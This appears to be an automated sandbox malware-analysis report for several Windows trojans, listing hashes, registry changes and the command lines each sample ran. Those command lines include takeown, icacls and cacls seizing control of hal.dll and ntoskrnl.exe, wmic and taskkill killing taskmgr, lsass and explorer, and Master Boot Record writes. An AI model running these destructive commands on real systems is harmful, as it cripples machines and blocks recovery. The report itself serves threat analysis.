C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='notepad.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='notepad++.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='taskmgr.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='perfmon.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='logonui.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='ProcessHacker.exe' delete /nointeractive

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\taskmgr.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\hal.dll"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\winload.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\ntoskrnl.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\perfmon.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\resmon.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\logonui.exe

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\taskkill.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\tasklist.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\tskill.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\system32\logonui.exe"

C:\Windows\system32\takeown.exe

takeown /f "C:\Program Files\Process Hacker 2"

C:\Windows\system32\takeown.exe

takeown /f "C:\Windows\System32\drivers"

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='taskmgr.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='perfmon.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='logonui.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='ProcessHacker.exe' delete /nointeractive

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\taskmgr.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\hal.dll" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\winload.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\ntoskrnl.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\perfmon.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\logonui.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\resmon.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\taskkill.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\tasklist.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\system32\tskill.exe" /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Program Files\Process Hacker 2" /q /c /t /grant "everyone":F

C:\Windows\system32\icacls.exe

icacls "C:\Windows\System32\drivers" /q /c /t /grant "everyone":F

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='taskmgr.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='perfmon.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='logonui.exe' delete /nointeractive

C:\Windows\System32\Wbem\WMIC.exe

wmic process where name='ProcessHacker.exe' delete /nointeractive

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\taskmgr.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\hal.dll" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\ntoskrnl.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\perfmon.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\logonui.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\resmon.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\taskkill.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\tasklist.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\system32\tskill.exe" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Program Files\Process Hacker 2" /grant "everyone":F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo y"

C:\Windows\system32\cacls.exe

cacls "C:\Windows\System32\drivers" /grant "everyone":F

C:\Windows\system32\wbem\WMIADAP.EXE

wmiadap.exe /F /T

Network

N/A

Files

\Windows\Temp\winconfig.exe

MD5 11d457ee914f72a436fa4a8a8f8446dd
SHA1 d0308ca82ed9716b667e8e77e9ae013b9af44116
SHA256 c55e98b21e7e8639d4a6702de75bccc47b337bc639ea33231a507946f74964ef
SHA512 4c861cb0fa7170d6c71e11b3a826d1802ff0f9d029cfefa7428655929d5bab4bf56abeeb963e4927def3e959f2d4a0f199c8c3bf3ecbef8885189a52eeef666b

C:\Users\Admin\AppData\Local\Temp\43F3.tmp\43F4.tmp\43F5.bat

MD5 a645734f3bf4a2682cbaf546789ec0c4
SHA1 fafcc11909412bf51f217e12dfaa93a15181a3e2
SHA256 3b9b5b1659a881d15962541fb56638379a6e5b5d02435f8c50574ec003bc64b0
SHA512 efa399503b982eda2058a70b10289275fe3c51280bdbb649be40cc3f17c6085267236dc0f6f8bbbf782105e6f5510e6dbbd97de8e87113abc1d8c340ccad9a6d

C:\Users\Admin\AppData\Roaming\DetectKey.exe

MD5 aba9a3cf4e1db4602c25405987b809a6
SHA1 6cd545ea023ce9cdfe76607c6801cc11ff7d9e80
SHA256 490df924cadff4806ad1c1a261c71f7e06320826eda532394462e7ee32c570d6
SHA512 e5a9e28549bab93f5cf2464707b3b46859271dea16f69e8757b00f79989b2665d3b9bc3d9794d1d9e1111f8ee03ecb933f1fadfcd2adeb695dc0fce0b8f90675

Analysis: behavioral17

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:33

Platform

win7-20240221-en

Max time kernel

7s

Max time network

20s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset.exe"

Signatures

N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset.exe"

C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe"

Network

N/A

Files

memory/2248-1-0x0000000001360000-0x0000000001378000-memory.dmp

memory/2248-0-0x0000000074700000-0x0000000074DEE000-memory.dmp

memory/2248-2-0x0000000000610000-0x0000000000650000-memory.dmp

Analysis: behavioral18

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:33

Platform

win10v2004-20240226-en

Max time kernel

7s

Max time network

16s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset.exe"

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-983155329-280873152-1838004294-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset.exe N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset.exe"

C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\13reset\13reset-helper.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3416 -ip 3416

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3416 -s 496

Network

Country Destination Domain Proto
US 8.8.8.8:53 72.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.200:443 g.bing.com tcp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 29.179.17.96.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp

Files

memory/2448-0-0x0000000000650000-0x0000000000668000-memory.dmp

memory/2448-1-0x0000000075330000-0x0000000075AE0000-memory.dmp

memory/2448-2-0x00000000055F0000-0x0000000005B94000-memory.dmp

memory/2448-3-0x0000000005040000-0x00000000050D2000-memory.dmp

memory/2448-4-0x0000000005260000-0x0000000005270000-memory.dmp

memory/2448-5-0x0000000005010000-0x000000000501A000-memory.dmp

Analysis: behavioral27

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:34

Platform

win7-20240221-en

Max time kernel

195s

Max time network

34s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\666mm psy\666mm psy.exe"

Signatures

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\666mm psy\666mm psy.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\666mm psy\666mm psy.exe"

C:\Windows\SysWOW64\cmd.exe

/c ""C:\Users\Admin\AppData\Local\Temp\259504855.bat" "

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM explorer.exe

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\259504855.bat

MD5 2e90ad588f5329388216c652eebd4a33
SHA1 baa4f47ee4f195d854f8db905fcbb2539556f0e0
SHA256 6f88a1b6fb5975e2e49b33e7c9dabb593b18b2e7254bbe41263a9acc7294c2ac
SHA512 b793ffcfca291e52855dd92ce1f948ce8b6f6bfe0e9a878cf7c37630b621eb417fe8b720bea8f088bec98b26c6e379bb1212d8518bb6ebed8b9840e2f9f9f778

memory/2476-12-0x00000000021B0000-0x00000000021B1000-memory.dmp

memory/2584-17-0x0000000000400000-0x0000000000407000-memory.dmp

memory/2476-19-0x00000000021B0000-0x00000000021B1000-memory.dmp

Analysis: behavioral13

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:33

Platform

win7-20240221-en

Max time kernel

118s

Max time network

148s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe"

Signatures

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe N/A

Enumerates physical storage devices

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe"

C:\Windows\SysWOW64\taskkill.exe

"C:\Windows\System32\taskkill.exe" /f /im lsass.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe"

Network

N/A

Files

memory/2832-0-0x00000000008F0000-0x0000000000916000-memory.dmp

memory/2832-1-0x0000000074920000-0x000000007500E000-memory.dmp

memory/2832-2-0x0000000074920000-0x000000007500E000-memory.dmp

memory/2832-3-0x0000000005360000-0x00000000053A0000-memory.dmp

memory/1560-4-0x0000000000400000-0x0000000000412000-memory.dmp

memory/2832-5-0x0000000005360000-0x00000000053A0000-memory.dmp

Analysis: behavioral14

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:32

Platform

win10v2004-20240226-en

Max time kernel

69s

Max time network

100s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe"

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe N/A

Enumerates physical storage devices

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe"

C:\Windows\SysWOW64\taskkill.exe

"C:\Windows\System32\taskkill.exe" /f /im lsass.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 75.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 29.179.17.96.in-addr.arpa udp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp

Files

memory/116-0-0x0000000074450000-0x0000000074C00000-memory.dmp

memory/116-1-0x00000000005C0000-0x00000000005E6000-memory.dmp

memory/116-2-0x0000000005530000-0x0000000005AD4000-memory.dmp

memory/116-3-0x0000000005020000-0x00000000050B2000-memory.dmp

memory/116-4-0x0000000004FB0000-0x0000000004FC0000-memory.dmp

memory/116-5-0x0000000005000000-0x000000000500A000-memory.dmp

memory/112-6-0x0000000000400000-0x0000000000412000-memory.dmp

memory/116-7-0x0000000074450000-0x0000000074C00000-memory.dmp

memory/116-8-0x0000000004FB0000-0x0000000004FC0000-memory.dmp

Analysis: behavioral23

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:33

Platform

win7-20240221-en

Max time kernel

119s

Max time network

124s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\4mm psy\4mm psy.exe"

Signatures

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\4mm psy\4mm psy.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\4mm psy\4mm psy.exe"

C:\Windows\SysWOW64\cmd.exe

/c ""C:\Users\Admin\AppData\Local\Temp\259400428.bat" "

C:\Windows\SysWOW64\cscript.exe

cscript [regtaskmgr.vbs]

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\259400428.bat

MD5 826431d3df1879172a96555d7ba0aeef
SHA1 f56ff5d3c06f78f53884071d1357ba79ee85b96e
SHA256 e22b0b5185247a3ca52cb7cd6a271efced0d1d6e8910294f7131241f5d58b7ee
SHA512 e995b82e1716ab7f7ea8d810a441ce2b68e570c0e31386670e6c193a11131e5274747205a3245424b7d71b7b0745313bd522eff452b175c80425fbf5ef2bbc52

memory/1760-12-0x0000000000410000-0x0000000000411000-memory.dmp

memory/2248-34-0x0000000000400000-0x0000000000407000-memory.dmp

Analysis: behavioral26

Detonation Overview

Submitted

2024-03-16 17:15

Reported

2024-03-16 19:31

Platform

win10v2004-20240226-en

Max time kernel

52s

Max time network

66s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe"

Signatures

Disables Task Manager via registry modification

evasion

Modifies WinLogon

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoRestartShell = "0" C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe N/A

Sets desktop wallpaper using registry

ransomware
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3045580317-3728985860-206385570-1000\Control Panel\Desktop\WallPaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\666.png" C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe N/A

Kills process with taskkill

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\taskkill.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" C:\Windows\system32\LogonUI.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent C:\Windows\system32\LogonUI.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00 C:\Windows\system32\LogonUI.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "109" C:\Windows\system32\LogonUI.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" C:\Windows\system32\LogonUI.exe N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\txtfile\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\666.ico" C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\taskkill.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2568 wrote to memory of 2508 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe C:\Windows\SysWOW64\cmd.exe
PID 2568 wrote to memory of 2508 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe C:\Windows\SysWOW64\cmd.exe
PID 2568 wrote to memory of 2508 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe C:\Windows\SysWOW64\cmd.exe
PID 2508 wrote to memory of 5008 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2508 wrote to memory of 5008 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2508 wrote to memory of 5008 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 2508 wrote to memory of 2716 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2508 wrote to memory of 2716 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2508 wrote to memory of 2716 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2508 wrote to memory of 3536 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2508 wrote to memory of 3536 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2508 wrote to memory of 3536 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2508 wrote to memory of 2660 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\shutdown.exe
PID 2508 wrote to memory of 2660 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\shutdown.exe
PID 2508 wrote to memory of 2660 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\shutdown.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\666.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\z666.bat""

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im explorer.exe

C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic useraccount where name='Admin' set FullName='No System Anymore'

